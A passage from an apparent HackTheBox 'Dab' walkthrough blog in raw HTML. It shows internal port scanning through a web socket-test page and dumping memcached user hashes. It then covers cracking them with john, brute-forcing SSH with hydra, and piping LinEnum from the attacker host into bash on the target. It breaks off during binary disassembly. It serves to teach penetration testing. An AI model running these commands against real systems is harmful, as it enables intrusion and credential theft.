wrapper&quot;&gt;\n\n&lt;p&gt;Status of cache engine: Online&lt;\/p&gt;\n&lt;h4&gt;TCP socket test&lt;\/h4&gt;\n&lt;form action=&quot;\/socket&quot;&gt;\n&lt;input type=&quot;text&quot; name=&quot;port&quot; placeholder=&quot;TCP port&quot;&gt;&lt;\/input&gt;\n&lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Line to send...&quot;&gt;&lt;\/input&gt;\n&lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&lt;\/input&gt;\n&lt;\/form&gt;\n\n\n&lt;\/div&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n\n<\/pre><\/div>\n\n<p>The page contains a <code>TCP socket test<\/code> with a form fields <code>TCP port<\/code> and <code>Line to send...<\/code>. By setting the cookie within our browser (e.g. using Cookie Manager) we can view the rendered page:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1151\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img05.png\" alt=\"\" width=\"979\" height=\"520\" style=\"border:1px solid black;\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img05.png 979w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img05-300x159.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img05-768x408.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1152\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img06.png\" alt=\"\" width=\"784\" height=\"350\" style=\"border:1px solid black;\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img06.png 784w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img06-300x134.png 300w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/01\/img06-768x343.png 768w\" sizes=\"(max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/p>\n<p>After having tried different ports and comparing the output with our nmap scan, we can be quite sure that the page is making connections to the server itself:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,6,8,12,15,19,20]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl &#039;http:\/\/10.10.10.86:8080\/socket?port=21&amp;cmd=a&#039; --cookie &quot;password=secret&quot;\n...\n&lt;p&gt;Output&lt;\/p&gt;\n&lt;pre&gt;\n220 (vsFTPd 3.0.3)\n530 Please login with USER and PASS.\n\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl &#039;http:\/\/10.10.10.86:8080\/socket?port=22&amp;cmd=a&#039; --cookie &quot;password=secret&quot;\n...\n&lt;p&gt;Output&lt;\/p&gt;\n&lt;pre&gt;\nSSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4\nProtocol mismatch.\n\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl &#039;http:\/\/10.10.10.86:8080\/socket?port=80&amp;cmd=a&#039; --cookie &quot;password=secret&quot;\n...\n&lt;p&gt;Output&lt;\/p&gt;\n&lt;pre&gt;\nHTTP\/1.1 400 Bad Request\nServer: nginx\/1.10.3 (Ubuntu)\nDate: Tue, 15 Jan 2019 07:04:51 GMT\nContent-Type: text\/html\nContent-Length: 182\nConnection: close\n\n<\/pre><\/div>\n\n<p>So what can we use this for? We also reached the ports above (21, 22, 80) from our own machine. Truly interesting are ports, which cannot be reached from our own machine, because there are listing on localhost. Those ports can be accessed through the webpage, because the page is running on the server itself.<\/p>\n<p>If we try to access a port, which is not open, the server responses with <code>500 Internal Server Error<\/code>. So we can create a bash-loop to internally scan for open ports:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# for i in `seq 1 20000`; do echo &quot;port=$i&quot;; curl &#039;http:\/\/10.10.10.86:8080\/socket?port=&#039;$i&#039;&amp;cmd=test&#039; --cookie &#039;password=secret&#039; 2&gt;\/dev\/null | tr -d &#039;\\n&#039; | grep -v &#039;500 Internal Server Error&#039; ;done &gt; internalports.txt\n\n<\/pre><\/div>\n\n<p>This loop scans the first 20000 ports and really takes some time. Actually we already stumbled upon some hints, which port we should look for. Within the sourcecode of the website on port 80, we saw a debug comment stating that the data was loaded from MySQL. Also the <code>TCP socket test<\/code> website on port 8080 displays the message <code>Status of cache engine: Online<\/code>. This should lead us to <a href=\"https:\/\/en.wikipedia.org\/wiki\/Memcached\" target=\"_new\">memcached<\/a>, which is by default listing on port 11211. After our internal port scan loop reaches this port, it actually verifies that there is something listening on port 11211:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,13,14]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# cat internalports.txt | grep -v &#039;port=&#039; -B1 \nport=21\n&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;Internal Dev&lt;\/title&gt;\t&lt;meta charset=&quot;UTF-8&quot;&gt;\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;&lt;\/head&gt;&lt;body&gt;&lt;div class=&quot;container wrapper&quot;&gt;&lt;p&gt;Status of cache engine: Online&lt;\/p&gt;&lt;h4&gt;TCP socket test&lt;\/h4&gt;&lt;form action=&quot;\/socket&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;port&quot; placeholder=&quot;TCP port&quot;&gt;&lt;\/input&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Line to send...&quot;&gt;&lt;\/i&lt;\/pre&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt; and PASS.mit&quot;&lt;\/input&gt;&lt;\/form&gt;&lt;p&gt;Output&lt;\/p&gt;&lt;pre&gt;220 (vsFTPd 3.0.3)\nport=22\n&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;Internal Dev&lt;\/title&gt;\t&lt;meta charset=&quot;UTF-8&quot;&gt;\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;&lt;\/head&gt;&lt;body&gt;&lt;div class=&quot;container wrapper&quot;&gt;&lt;p&gt;Status of cache engine: Online&lt;\/p&gt;&lt;h4&gt;TCP socket test&lt;\/h4&gt;&lt;form action=&quot;\/socket&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;port&quot; placeholder=&quot;TCP port&quot;&gt;&lt;\/input&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Line to send...&quot;&gt;&lt;\/iProtocol mismatch.&lt;\/pre&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt;put&gt;&lt;\/form&gt;&lt;p&gt;Output&lt;\/p&gt;&lt;pre&gt;SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4\n--\nport=80\n&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;Internal Dev&lt;\/title&gt;\t&lt;meta charset=&quot;UTF-8&quot;&gt;\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;&lt;\/head&gt;&lt;body&gt;&lt;div class=&quot;container wrapper&quot;&gt;&lt;p&gt;Status of cache engine: Online&lt;\/p&gt;&lt;h4&gt;TCP socket test&lt;\/h4&gt;&lt;form action=&quot;\/socket&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;port&quot; placeholder=&quot;TCP port&quot;&gt;&lt;\/input&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Line to send...&quot;&gt;&lt;\/i&lt;\/pre&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt;inx\/1.10.3 (Ubuntu)&lt;\/center&gt;r&gt;t;&gt;&lt;pre&gt;HTTP\/1.1 400 Bad Request\n--\nport=8080\n&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;Internal Dev&lt;\/title&gt;\t&lt;meta charset=&quot;UTF-8&quot;&gt;\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;&lt;\/head&gt;&lt;body&gt;&lt;div class=&quot;container wrapper&quot;&gt;&lt;p&gt;Status of cache engine: Online&lt;\/p&gt;&lt;h4&gt;TCP socket test&lt;\/h4&gt;&lt;form action=&quot;\/socket&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;port&quot; placeholder=&quot;TCP port&quot;&gt;&lt;\/input&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Line to send...&quot;&gt;&lt;\/i&lt;\/pre&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt;inx\/1.10.3 (Ubuntu)&lt;\/center&gt;r&gt;t;&gt;&lt;pre&gt;HTTP\/1.1 400 Bad Request\n--\nport=11211\n&lt;!DOCTYPE html&gt;&lt;html lang=&quot;en&quot;&gt;&lt;head&gt;&lt;title&gt;Internal Dev&lt;\/title&gt;\t&lt;meta charset=&quot;UTF-8&quot;&gt;\t&lt;meta name=&quot;viewport&quot; content=&quot;initial-scale=1, maximum-scale=1, user-scalable=no, width=device-width&quot;&gt;&lt;\/head&gt;&lt;body&gt;&lt;div class=&quot;container wrapper&quot;&gt;&lt;p&gt;Status of cache engine: Online&lt;\/p&gt;&lt;h4&gt;TCP socket test&lt;\/h4&gt;&lt;form action=&quot;\/socket&quot;&gt;&lt;input type=&quot;text&quot; name=&quot;port&quot; placeholder=&quot;TCP port&quot;&gt;&lt;\/input&gt;&lt;input type=&quot;text&quot; name=&quot;cmd&quot; placeholder=&quot;Line to send...&quot;&gt;&lt;\/i&lt;\/pre&gt;&lt;\/div&gt;&lt;\/body&gt;&lt;\/html&gt;value=&quot;Submit&quot;&lt;\/input&gt;&lt;\/form&gt;&lt;p&gt;Output&lt;\/p&gt;&lt;pre&gt;ERROR\n\n<\/pre><\/div>\n\n<p><i>memcached<\/i> is a key-value based cache, which purpose is to hold data from a database like MySQL in the RAM to make it available more quickly. With a little bit of <a href=\"https:\/\/stackoverflow.com\/questions\/19560150\/get-all-keys-set-in-memcached\" target=\"_new\">research<\/a> the required commands to display all keys can be found.<\/p>\n<p>At first we use the command <code>stats items<\/code> to list the slab ids:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,18]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl &#039;http:\/\/10.10.10.86:8080\/socket?port=11211&amp;cmd=stats%20items&#039; --cookie &quot;password=secret&quot;\n...\n&lt;p&gt;Output&lt;\/p&gt;\n&lt;pre&gt;\nSTAT items:16:number 1\nSTAT items:16:age 833\nSTAT items:16:evicted 0\nSTAT items:16:evicted_nonzero 0\nSTAT items:16:evicted_time 0\nSTAT items:16:outofmemory 0\nSTAT items:16:tailrepairs 0\nSTAT items:16:reclaimed 0\nSTAT items:16:expired_unfetched 0\nSTAT items:16:evicted_unfetched 0\nSTAT items:16:crawler_reclaimed 0\nSTAT items:16:crawler_items_checked 0\nSTAT items:16:lrutail_reflocked 0\nSTAT items:26:number 1\nSTAT items:26:age 833\nSTAT items:26:evicted 0\nSTAT items:26:evicted_nonzero 0\nSTAT items:26:evicted_time 0\nSTAT items:26:outofmemory 0\nSTAT items:26:tailrepairs 0\nSTAT items:26:reclaimed 0\nSTAT items:26:expired_unfetched 0\nSTAT items:26:evicted_unfetched 0\nSTAT items:26:crawler_reclaimed 0\nSTAT items:26:crawler_items_checked 0\nSTAT items:26:lrutail_reflocked 0\nEND\n\n<\/pre><\/div>\n\n<p>With the slab ids we can dump the actual keys using the command <code>stats cachedump &lt;slabid&gt; &lt;limit&gt;<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl &#039;http:\/\/10.10.10.86:8080\/socket?port=11211&amp;cmd=stats%20cachedump%2026%20100&#039; --cookie &quot;password=secret&quot;\n...\n&lt;p&gt;Output&lt;\/p&gt;\n&lt;pre&gt;\nITEM users &#x5B;24625 b; 1547538384 s]\nEND\n\n<\/pre><\/div>\n\n<p>There is a key <code>users<\/code> which we can dump using the command <code>get users<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,6]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# curl &#039;http:\/\/10.10.10.86:8080\/socket?port=11211&amp;cmd=get%20users&#039; --cookie &quot;password=secret&quot;\n...\n&lt;p&gt;Output&lt;\/p&gt;\n&lt;pre&gt;\nVALUE users 0 24625\n{&quot;quinton_dach&quot;: &quot;17906b445a05dc42f78ae86a92a57bbd&quot;, &quot;jackie.abbott&quot;: &quot;c6ab361604c4691f78958d6289910d21&quot;, ...\n\n<\/pre><\/div>\n\n<p>Great! We obviously got plenty of usernames and hashed passwords. Please notice that you had to be logged in on the stock item website on port 80 recently for the cache to actually contain data.<\/p>\n<p>We can simply pipe the output to a file and adjust the formatting a little bit (replace html-encoding, add new lines, &#8230;):<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# cat users2.txt | head\nquinton_dach:17906b445a05dc42f78ae86a92a57bbd\njackie.abbott:c6ab361604c4691f78958d6289910d21\nisidro:e4a4c90483d2ef61de42af1f044087f3\nroy:afbde995441e19497fe0695e9c539266\ncolleen:d3792794c3143f7e04fd57dc8b085cd4\nharrison.hessel:bc5f9b43a0336253ff947a4f8dbdb74f\nasa.christiansen:d7505316e9a10fc113126f808663b5a4\njessie:71f08b45555acc5259bcefa3af63f4e1\nmilton_hintz:8f61be2ebfc66a5f2496bbf849c89b84\ndemario_homenick:2c22da161f085a9aba62b9bbedbd4ca7\n\n<\/pre><\/div>\n\n<p>The hash-values seem to be md5. We can verify this by using the password for the username <code>admin<\/code>, which we already revealed using hydra:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [2,4]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# echo -n &quot;Password1&quot; | md5sum\n2ac9cb7dc02b3c0083eb70898e549b63  -\nroot@kali:~\/Documents\/htb\/boxes\/dab# cat users2.txt | grep admin\nadmin:2ac9cb7dc02b3c0083eb70898e549b63\n\n<\/pre><\/div>\n\n<p>That is a match. Let&#8217;s run <code>john<\/code> on the file to crack more passwords:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# john users2.txt --format=Raw-MD5\nCreated directory: \/root\/.john\nUsing default input encoding: UTF-8\nLoaded 495 password hashes with no different salts (Raw-MD5 &#x5B;MD5 128\/128 AVX 4x3])\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\ndefault          (default)\ndemo             (demo)\nPrincess1        (genevieve)\nPassword1        (admin)\npiggy            (abbigail)\nblaster          (alec)\nmegadeth         (wendell)\nmisfits          (aglae)\nmonkeyman        (ona)\n...\n\n<\/pre><\/div>\n\n<p>After letting john run for a while, we can output the cracked credentials to a file:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# john users2.txt --format=Raw-MD5 --show &gt; users_cracked.txt\n\n<\/pre><\/div>\n\n<h3 id=\"ssh22_2\">Back to SSH<\/h3>\n<p>Now we can try to access SSH with those credentials. Again we can use <code>hydra<\/code> for this supplying the file with the <code>username:password<\/code> combination (delete the last two lines from the john output beforehand):<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,8]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# hydra -C users_cracked.txt 10.10.10.86 ssh\nHydra v8.6 (c) 2017 by van Hauser\/THC - Please do not use in military or secret service organizations, or for illegal purposes.\n\nHydra (http:\/\/www.thc.org\/thc-hydra) starting at 2019-01-15 03:20:11\n&#x5B;WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4\n&#x5B;DATA] max 9 tasks per 1 server, overall 9 tasks, 9 login tries, ~1 try per task\n&#x5B;DATA] attacking ssh:\/\/10.10.10.86:22\/\n&#x5B;22]&#x5B;ssh] host: 10.10.10.86   login: genevieve   password: Princess1\n1 of 1 target successfully completed, 1 valid password found\nHydra (http:\/\/www.thc.org\/thc-hydra) finished at 2019-01-15 03:20:14\n\n<\/pre><\/div>\n\n<p>Nice! We found valid credentials for SSH: <code>genevieve:Princess1<\/code>. Let&#8217;s verify this by connecting with SSH:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,15]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# ssh genevieve@10.10.10.86\ngenevieve@10.10.10.86&#039;s password: \nWelcome to Ubuntu 16.04.5 LTS (GNU\/Linux 4.4.0-133-generic x86_64)\n\n * Documentation:  https:\/\/help.ubuntu.com\n * Management:     https:\/\/landscape.canonical.com\n * Support:        https:\/\/ubuntu.com\/advantage\n\n0 packages can be updated.\n0 updates are security updates.\n\n\nLast login: Tue Jan 15 03:10:06 2019 from 10.10.13.71\ngenevieve@dab:~$ id\nuid=1000(genevieve) gid=1000(genevieve) groups=1000(genevieve)\ngenevieve@dab:~$ \n\n<\/pre><\/div>\n\n<p>We successfully logged in. Now we can read the first flag file <code>user.txt<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,11,13,14]; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$ ls -al\ntotal 36\ndrwxr-xr-x 4 genevieve genevieve 4096 Jan 15 03:17 .\ndrwxr-xr-x 3 root      root      4096 Mar 19  2018 ..\nlrwxrwxrwx 1 root      root         9 Aug 15 06:22 .bash_history -&gt; \/dev\/null\n-rw-r--r-- 1 genevieve genevieve  220 Mar 19  2018 .bash_logout\n-rw-r--r-- 1 genevieve genevieve 3793 Mar 25  2018 .bashrc\ndrwx------ 2 genevieve genevieve 4096 Jan 15 03:19 .cache\n-rw-r--r-- 1 genevieve genevieve  655 Mar 19  2018 .profile\ndrwx------ 2 genevieve genevieve 4096 Jan 15 02:01 .ssh\n-r-------- 1 genevieve genevieve   33 Mar 19  2018 user.txt\n-rw------- 1 genevieve genevieve  991 Jan 15 03:17 .viminfo\ngenevieve@dab:~$ cat user.txt \n9bcd ... (output truncated)\n\n<\/pre><\/div>\n\n<p>I truncated the output to avoid the temptation of just copy\/pasting the flag.<\/p>\n<p>After successfully gaining access to the machine as a user, we now proceed with the privilege escalation to root.<\/p>\n<hr>\n<h2 id=\"root\">Root<\/h2>\n<h3 id=\"recon\">Initial Enumeration<\/h3>\n<p>A good way to initially enumerate a system is <a href=\"https:\/\/github.com\/rebootuser\/LinEnum\" target=\"_new\">LinEnum<\/a>. In order to run the <code>LinEnum.sh<\/code> script, we host it on our attacker machine using <code>python -m SimpleHTTPServer<\/code> &#8230;<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,18]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# wget https:\/\/github.com\/rebootuser\/LinEnum\/raw\/master\/LinEnum.sh\n--2019-01-15 04:23:40--  https:\/\/github.com\/rebootuser\/LinEnum\/raw\/master\/LinEnum.sh\nResolving github.com (github.com)... 192.30.253.112, 192.30.253.113\nConnecting to github.com (github.com)|192.30.253.112|:443... connected.\nHTTP request sent, awaiting response... 302 Found\nLocation: https:\/\/raw.githubusercontent.com\/rebootuser\/LinEnum\/master\/LinEnum.sh &#x5B;following]\n--2019-01-15 04:23:40--  https:\/\/raw.githubusercontent.com\/rebootuser\/LinEnum\/master\/LinEnum.sh\nResolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.12.133\nConnecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.12.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 45578 (45K) &#x5B;text\/plain]\nSaving to: \u2018LinEnum.sh\u2019\n\nLinEnum.sh                         100%&#x5B;===============================================================&gt;]  44.51K  --.-KB\/s    in 0.02s   \n\n2019-01-15 04:23:40 (2.88 MB\/s) - \u2018LinEnum.sh\u2019 saved &#x5B;45578\/45578]\n\nroot@kali:~\/Documents\/htb\/boxes\/dab# python -m SimpleHTTPServer\nServing HTTP on 0.0.0.0 port 8000 ...\n\n<\/pre><\/div>\n\n<p>&#8230; and pipe it to <code>bash<\/code> on the target machine. This way we directly execute the script and do not leave traces by downloading it to disk:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$  curl http:\/\/10.10.12.142:8000\/LinEnum.sh | bash\n  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n                                 Dload  Upload   Total   Spent    Left  Speed\n100 45578  100 45578    0     0   598k      0 --:--:-- --:--:-- --:--:--  601k\n\n#########################################################\n# Local Linux Enumeration &amp; Privilege Escalation Script #\n#########################################################\n# www.rebootuser.com\n# version 0.94\n\n&#x5B;-] Debug Info\n&#x5B;+] Thorough tests = Disabled (SUID\/GUID checks will not be perfomed!)\n\n\nScan started at:\nTue Jan 15 04:24:16 EST 2019\n\n\n### SYSTEM ##############################################\n&#x5B;-] Kernel information:\nLinux dab 4.4.0-133-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU\/Linux\n\n\n&#x5B;-] Kernel information (continued):\nLinux version 4.4.0-133-generic (buildd@lgw01-amd64-029) (gcc version 5.4.0 20160609 (Ubuntu 5.4.0-6ubuntu1~16.04.10) ) #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018\n...\n\n<\/pre><\/div>\n\n<p>After examining the output we get a general idea of the basic configuration of the system. Since there are no real striking abnormalities, we keep on looking for escalation possibilities manually.<\/p>\n<h3 id=\"suid\">SUID binaries<\/h3>\n<p>One common way to escalate privileges are vulnerable SUID binaries. These can be identified by enabling thorough tests in the <code>LinEnum.sh<\/code> script, but we can also search for those binaries using <code>find<\/code>:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\ngenevieve@dab:~$ find \/ -xdev -perm -4000 2&gt;\/dev\/null\n\/bin\/umount\n\/bin\/ping\n\/bin\/ping6\n\/bin\/su\n\/bin\/ntfs-3g\n\/bin\/fusermount\n\/bin\/mount\n\/usr\/bin\/at\n\/usr\/bin\/newuidmap\n\/usr\/bin\/passwd\n\/usr\/bin\/newgrp\n\/usr\/bin\/gpasswd\n\/usr\/bin\/chsh\n\/usr\/bin\/sudo\n\/usr\/bin\/newgidmap\n\/usr\/bin\/myexec\n\/usr\/bin\/pkexec\n\/usr\/bin\/chfn\n\/usr\/lib\/policykit-1\/polkit-agent-helper-1\n\/usr\/lib\/x86_64-linux-gnu\/lxc\/lxc-user-nic\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/snapd\/snap-confine\n\/usr\/lib\/openssh\/ssh-keysign\n\/sbin\/ldconfig\n\/sbin\/ldconfig.real\n\n<\/pre><\/div>\n\n<p>A quick explanation of the used options:<\/p>\n<table>\n<tbody>\n<tr style=\"font-weight:bold;\">\n<td>Option<\/td>\n<td>Description<\/td>\n<\/tr>\n<tr>\n<td><code>\/<\/code><\/td>\n<td>Start searching from the root-directory.<\/td>\n<\/tr>\n<tr>\n<td><code>-xdev<\/code><\/td>\n<td>Don&#8217;t descend directories on other filesystems (mainly to exclude <code>\/dev<\/code>, <code>\/proc<\/code> and <code>\/sys<\/code>).<\/td>\n<\/tr>\n<tr>\n<td><code>-perm -4000<\/code><\/td>\n<td>Search for files\/directories with the SUID bit set.<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>In order to spot abnormalities here, it is very helpful if you have already some experience in knowing which files are usually SUID binaries. Of course you can also run the <code>find<\/code> command on an untouched reference machine and compare the results.<\/p>\n<p>One file which sticks out here is <code>\/usr\/bin\/myexec<\/code>, which does not exist by default. Also the SUID bit of <code>\/sbin\/ldconfig<\/code> and <code>\/sbin\/ldconfig.real<\/code> is usually not set.<\/p>\n<h3 id=\"myexec\">myexec<\/h3>\n<p>In order to analyze the file <code>\/usr\/bin\/myexec<\/code> we download it to our attacker machine:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# scp genevieve@10.10.10.86:\/usr\/bin\/myexec .\ngenevieve@10.10.10.86&#039;s password: \nmyexec                                                                                     100% 8864   421.8KB\/s   00:00    \n\n<\/pre><\/div>\n\n<p>Now we can use <code>radare2<\/code> to analyze the binary disassembling the <code>main<\/code> function:<\/p>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,8,27]; title: ; notranslate\" title=\"\">\nroot@kali:~\/Documents\/htb\/boxes\/dab# r2 -A myexec \n&#x5B;x] Analyze all flags starting with sym. and entry0 (aa)\n&#x5B;x] Analyze function calls (aac)\n&#x5B;x] Analyze len bytes of instructions for references (aar)\n&#x5B;x] Constructing a function name for fcn.* and sym.func.* functions (aan)\n&#x5B;x] Type matching analysis for all functions (afta)\n&#x5B;x] Use -AA or aaaa to perform additional experimental analysis.\n&#x5B;0x00400740]&gt; afl\n0x00400690    3 26           sym._init\n0x004006c0    1 6            sym.imp.puts\n0x004006d0    1 6            sym.imp.__stack_chk_fail\n0x004006e0    1 6            sym.imp.printf\n0x004006f0    1 6            sym.imp.seclogin\n0x00400700    1 6            sym.imp.__libc_start_main\n0x00400710    1 6            sym.imp.strcmp\n0x00400720    1 6            sym.imp.__isoc99_scanf\n0x00400730    1 6            sub.__gmon_start_730\n0x00400740    1 41           entry0\n0x00400770    4 50   -&gt; 41   sym.deregister_tm_clones\n0x004007b0    4 58   -&gt; 55   sym.register_tm_clones\n0x004007f0    3 28           sym.__do_global_dtors_aux\n0x00400810    4 38   -&gt; 35   entry1.init\n0x00400836    6 173          main\n0x004008f0    4 101          sym.__libc_csu_init\n0x00400960    1 2            sym.__libc_csu_fini\n0x00400964    1 9            sym._fini\n&#x5B;0x00400740]&gt; pdf @ main\n\/ (fcn) main 173\n|   main (int argc, char **argv, char **envp);\n|           ; var unsigned int local_64h @ rbp-0x64\n|           ; var char *s1 @ rbp-0x60\n|           ; var int local_58h @ rbp-0x58\n|           ; var char *s2 @ rbp-0x50\n|           ; var int canary @ rbp-0x8\n|           ; DATA XREF from entry0 (0x40075d)\n|           0x00400836      55             push rbp\n|           0x00400837      4889e5         mov rbp, rsp\n|           0x0040083a      4883ec70       sub rsp, 0x70               ; &#039;p&#039;\n|           0x0040083e      64488b042528.  mov rax, qword fs:&#x5B;0x28]    ; &#x5B;0x28:8]=-1 ; &#039;(&#039; ; 40\n|           0x00400847      488945f8       mov qword &#x5B;canary], rax\n|           0x0040084b      31c0           xor eax, eax\n|           0x0040084d      48b873336375.  movabs rax, 0x306c337275633373 ; &#039;s3cur3l0&#039;\n|           0x00400857      488945a0       mov qword &#x5B;s1], rax\n|           0x0040085b      c745a867316e.  mov dword &#x5B;local_58h], 0x6e3167 ; &#039;g1n&#039;\n|           0x00400862      bf74094000     mov edi, str.Enter_password: ; 0x400974 ; &quot;Enter password: &quot; ; const char *format\n|           0x00400867      b800000000     mov eax, 0\n|           0x0040086c      e86ffeffff     call sym.imp.printf         ; int printf(const char *format)\n|           0x00400871      488d45b0       lea rax, qword &#x5B;s2]\n|           0x00400875      4889c6         mov rsi, rax\n|           0x00400878      bf85094000     mov edi, str.63s            ; 0x400985 ; &quot;%63s&quot; ; const char *format\n|           0x0040087d      b800000000     mov eax, 0\n|           0x00400882      e899feffff     call sym.imp.__isoc99_scanf ; int scanf(const char *format)\n|           0x00400887      488d55b0       lea rdx, qword &#x5B;s2]\n|           0x0040088b      488d45a0       lea rax, qword &#x5B;s1]\n|           0x0040088f      4889d6         mov rsi, rdx                ; const char *s2\n|           0x00400892      4889c7         mov rdi, rax                ; const char *s1\n|           0x00400895      e876feffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)\n|           0x0040089a      89459c         mov dword &#x5B;local_64h], eax\n|           0x0040089d      837d9c00       cmp dword &#x5B;local_64h], 0\n|       ,=&lt; 0x004008a1      7411           je 